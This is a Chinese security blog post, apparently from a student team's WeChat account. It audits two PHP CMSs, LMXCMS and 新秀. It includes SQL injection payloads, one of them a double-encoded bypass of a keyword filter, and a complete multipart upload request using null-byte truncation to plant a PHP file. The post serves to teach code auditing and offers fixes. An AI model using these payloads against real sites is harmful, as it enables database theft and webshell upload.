Part1梦想CMS代码审计之SQL注入
1前言
梦想cms(lmxcms)使用php语言和mysql数据库开发,并且采用了主流的MVC设计模式,使系统框架结构清晰、易维护、模块化、扩展性更好,而且系统中内置smarty模 板引擎,模板标签扩展更加自由。
系统说明:
-
一:本系统使用的是smarty模板引擎,版本为“2.6.28”,支持smarty内置的所有标签。 -
二:php的大部分函数都可直接用于变量处理,格式为 <{参数1|函数名:参数2:参数3:参数4...}>
即可,当然也支持自定义函数 -
三:如果在使用函数过程中,格式都正确,但是输出的值不是你理想中的值,那么可以尝试在“|”后加一个“@”试试。 -
四:系统默认标签边界符:开始: “<{”,结束:“}>”,<{变量、标签,函数}>
-
五: <{php}> php代码... <{/php}>
:纯php代码标签,标签里面可以直接写php代码 -
六:php方式调用变量可以用“ $this->_tpl_vars['变量名称']
”,便于在php里处理变量 -
七:如果某个标签的数据是数组,而又想要数组中某个数据,那么可以这么写, <{$变量名.下标}>
依次类推,和php的有些区别。
20x01 环境搭建
LMXCMS安装教程注意:本系统暂不支持PHP5.6以上,所以请“尽可能的调低您的PHP版本”,避免出现未知错误。
第一步:直接进入地址(域名/install),进入系统安装程序界面,请注意安装程序的要求和条件,并填写数据库及管理员信息,然后按照步骤安装即可。
第二步:安装成功以后,切记要删除安装程序,避免二次安装导致数据覆盖,删除的目录有(/install、/c/install)俩个目录,也可以在安装完成后点击删除安装程序按钮或者在后台首页也可以删除安装目录。
使用手册说明地址:http://www.lmxcms.com/doc/
30x02 后台SQL注入
先找到文件AcquisiAction.class.php
的update()
函数(文件位于/c/admin
目录下)
public function update(){
if(isset($_POST['update'])){
$id = $this->id;
$data = d($this->fieldCj,p(1),array('mid'));
if(!$data['name']) rewrite::js_back('节点名字不能为空');
unset($data['mid']);
$this->model->update($data,$id);
addlog('修改采集节点【id:'.$id.'】');
rewrite::succ('修改成功',$_POST['backurl']);
}
$data = $this->model->getOne($this->id);
$this->smarty->assign($data);
$this->smarty->display('Caiji/update.html');
}
if(isset($_POST['update']))
判断是否有POST请求
$data = d($this->fieldCj,p(1),array('mid'));
将POST请求的内容经过一系列操作赋值给**$data
**变量
$this->model->update($data,$id);
sql注入在此进行
数据–>update函数–>updateModel()函数–>updateDB()函数
protected function updateDB($tab,Array $updateData,Array $param){
foreach($updateData as $key=>$v){
$uD[]="$key= '$v"";
}
$we = $this->where($param) ;
if(!$we){
return;
}
$ud=implode( glue: " , ' ,$uD) ;
$sql="UPDATE ".DB_PRE.""$tab sET $ud $we ";
return $this->query($sql);
}
数据未做好过滤,直接储存在数据库中.
尝试构造PoC:
' and updatexml(0,concat(0x7e,database()),1) and '
在网站后台选择“采集管理”–>“创建节点”文本框内插入SQL报错注入,然后提交
sql语句有误XPATH syntax error: '~admin'
爆出库名:admin
, 攻击者可以利用此漏洞获取网站的数据库信息。
40x03 前台SQL注入
文件cindexTagsAction.class.php
的TagsAction类
<?php
/**
* 【梦想cms】 http://www.lmxcms.com
*
* Tags控制器
*/
defined('LMXCMS') or exit();
class TagsAction extends HomeAction{
private $data;
private $tagsModel = null;
public function __construct() {
parent::__construct();
$data = p(2,1,1);
$name = string::delHtml($data['name']);
if(!$name) _404();
$name = urldecode($name);
if($this->tagsModel == null) $this->tagsModel = new TagsModel();
$this->data = $this->tagsModel->getNameData($name);
if(!$this->data) _404();
}
public function index(){
$temModel = new parse($this->smarty,$this->config);
echo $temModel->tags($this->data,$this->tagsModel);
}
}
?>
调用流程为getNameData->parent::oneModel->parent::oneDB
跟踪p()函数和delhtml()函数
function p($type=1,$pe=false,$sql=false,$mysql=false){
if($type == 1){
$data = $_POST;
}else if($type == 2){
$data = $_GET;
}else{
$data = $type;
}
if($sql) filter_sql($data);
if($mysql) mysql_retain($data);
foreach($data as $k => $v){
if(is_array($v)){
$newdata[$k] = p($v,$pe,$sql,$mysql);
}else{
if($pe){
$newdata[$k] = string::addslashes($v);
}else{
$newdata[$k] = trim($v);
}
}
}
return $newdata;
}
//去掉html标签
public static function delHtml($str){
return strip_tags($str);
}
p()函数调用filter_sql()的正则表达式过滤if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v))
位于function/common.php
//过滤非法提交信息,防止sql注入
function filter_sql(array $data){
foreach($data as $v){
if(is_array($v)){
filter_sql($v);
}else{
//转换小写
$v = strtolower($v);
if(preg_match('/count|create|delete|select|update|use|drop|insert|info|from/',$v)){
rewrite::js_back('【'.$v.'】数据非法');
exit();
}
}
}
}
不过在过滤后,TagsAction.class.php
还有一个函数delHtml()
删除HTML标签
此时,虽然无法直接使用select
进行注入,但可以先传入sel<>ect
,绕过正则匹配,使用delHtml()
函数删除<>
,最后传入的sql语句为select
再通过二次编码绕过对%的过滤
形成Poc:
?m=tags&name=%25%32%37%25%32%30%25%36%66%25%37%32%25%32%30%25%37%35%25%37%30%25%36%34%25%36%31%25%37%34%25%36%35%25%37%38%25%36%64%25%36%63%25%32%38%25%33%30%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%36%34%25%36%31%25%37%34%25%36%31%25%36%32%25%36%31%25%37%33%25%36%35%25%32%38%25%32%39%25%32%39%25%32%63%25%33%31%25%32%39%25%32%30%25%32%33
成功查询
5总结
该cms存在多处SQL注入漏洞,均为过滤不严或者可以通过“打配合”绕过验证。都是一些比较基础的SQL注入漏洞,新手可以借此机会学习一下PHP审计和SQL注入绕过。
Part2新秀企业网站系统的代码审计
6前言
新秀企业网站系统PHP版是一款简洁易用、方便二次开发的PHP企业网站系统。系统安装时有Mysql和Access两种数据库可供选择;后台功能齐全,操作简便,可扩展性良好,具有较高安全性;前台可设置成同时显示多国语言,适合用于外贸企业建站;系统采用了目前业界著名的PHP模板引擎Smarty,熟悉Smarty的开发人员可以方便、快速地制作出sinsiu模板。
新秀企业网站系统PHP版原名为“红头船企业网站系统”,原英文名为RHSCMS,曾用名HTCCMS,红头船系列产品已经合并入新秀。
70x01 环境搭建
后台功能简介:
-
基本设置:基本信息,联系方式,网站设置,导航管理,模块启闭,安全设置,静态设置,管理员帐号,数据库管理,其它设置; -
产品管理:产品列表,添加产品,产品分类,产品属性; -
文章管理:文章列表,发表文章,文章分类,关于我们列表,添加关于我们,人才招聘列表,添加人才招聘,下载列表,添加下载; -
用户互动:用户管理,留言管理,评论管理,产品订购,问卷调查,网站公告,在线客服,用户协议,友情链接; -
文件管理:选择模板,图片管理,焦点图片,语言设置,资源管理; -
高级应用:新建频道,频道标题,后台导航管理。
复现版本(v1.0)下载:
-
链接:https://pan.baidu.com/s/1hWYDIy9riMHJMa9qa-rRyA?pwd=love -
提取码:love -
–来自百度网盘超级会员V1的分享
网站安装的时候默认使用远程数据库,Windows 下使用 PHPStudy 可以直接安装。
-
推荐的PHP版本为PHP 5.2左右,推荐的PHP集成环境为XAMPP 1.7左右; -
全新安装需把upload文件夹里面的(注意,是里面的)子目录和文件全部上传到网站根目录下,然后在浏览器上打开网站,按提示选择数据库、填写数据库信息,最后点击安装按钮即可完成安装; -
本系统默认设置1小时内只能登录后台10次,可以在“后台-基本设置-安全设置”里面修改时长和登录次数,以免在调试期间出现无法登录后台的情况。
第一次网站访问自动安装按照提示进行安装,输入信息,然后就完成安装。下面是安装完成后网站首页。访问/admin
进入后台
80x02 漏洞分析
后台上传 Getshell
上传涉及的代码全部采用白名单文件上传策略,安全性明显高于黑名单策略,以下是上传的代码,常见的功能是利用move_uploaded_file()
将文件放入指定目录:
admin/moudle/file/deal.php
和admin/moudle/article/deal.php
的函数都是同一个代码,只展示一个
function upload()
{
$dir = post('dir');
$file = post('file');
$suffix = strtolower(get_file_name($file,'.'));
if(strpos('jpg,gif,png,bmp,jpeg,rar,zip,pdf',$suffix) !== false)
{
move_uploaded_file($_FILES['file_path']['tmp_name'],$dir.$file);
set_cookie('file',$dir.$file);
}
}
注意这个代码$suffix = strtolower(get_file_name($file,'.'));
当 PHP 版本低于5.3.4时,move_uploaded_file()
函数很容易被 00 截断,因此这里的漏洞在理论上也是被利用的,并且生产环境必须是 PHP 的较低版本才能成功截断 getshell。
但是CMS的环境官方推荐是PHP5.2,如果高于5.2可能会出现某个函数无法使用的情况,所以使用CMS的网站基本都小于5.3.4版本。
文件管理–>资源管理–>上传文件–>上传木马文件漏洞位置:/admin.php?/file/mod-files_list/
在上传文件时进行00截断 构建数据包
POST /admin.php?/deal/dir-file/index.html HTTP/1.1
Host: 0.0.0.0:8066
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://42.192.72.187:8066/admin.php?/file/mod-files_list/
Content-Type: multipart/form-data; boundary=---------------------------130853006925020158293280733432
Content-Length: 596
Origin: http://42.192.72.187:8066
Connection: keep-alive
Cookie: PHPSESSID=35954ce7a74150c60442a765302dffa9
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
-----------------------------130853006925020158293280733432
Content-Disposition: form-data; name="cmd"
upload
-----------------------------130853006925020158293280733432
Content-Disposition: form-data; name="dir"
resource/
-----------------------------130853006925020158293280733432
Content-Disposition: form-data; name="file"
1.php%00.jpg
-----------------------------130853006925020158293280733432
Content-Disposition: form-data; name="file_path"; filename="1.jpg.php"
Content-Type: application/octet-stream
<?php phpinfo(); ?>
-----------------------------130853006925020158293280733432--
1.php%00.jpg
对文件名进行了00截断,导致上传成功。访问木马文件OK
9总结
该系统使用的php版本过低,导致系统自带的函数安全性不高。但是作者也没有进行二次过滤,只是简单使用系统自带函数,导致00截断的发生。如果可以的话,要尽可能的使用安全性较高的版本,但也要考虑兼容性。如果为了兼容性而安全性不达标的话,要对传入的数据进行二次过滤,进行安全保护。
Part3关于HackerDo安全
由衡水中学学生成立、吸纳众多高校网安人才的网络安全团队,研究国内外最新漏洞,发布安全补丁方案,及时带来最新漏洞PoC、CTF题解、网安动态、安全工具等内容。兢兢业业磨一剑,只为带你走在网全最前线!
HackerDo安全专注于收集最新网络安全消息,发布各类漏洞信息以及修复方案,关注各大比赛,及时带来最新动态以及知识教程。我们会不定期分享漏洞PoC以及知识干货,不定期送出福利。
微信交流群(二群)
二维码失效后台回复粉丝群获取最新加群方式!
QQ交流群(二群)
原文始发于微信公众号(HackerDo安全):【代码审计】梦想CMS注入与新秀GETSELL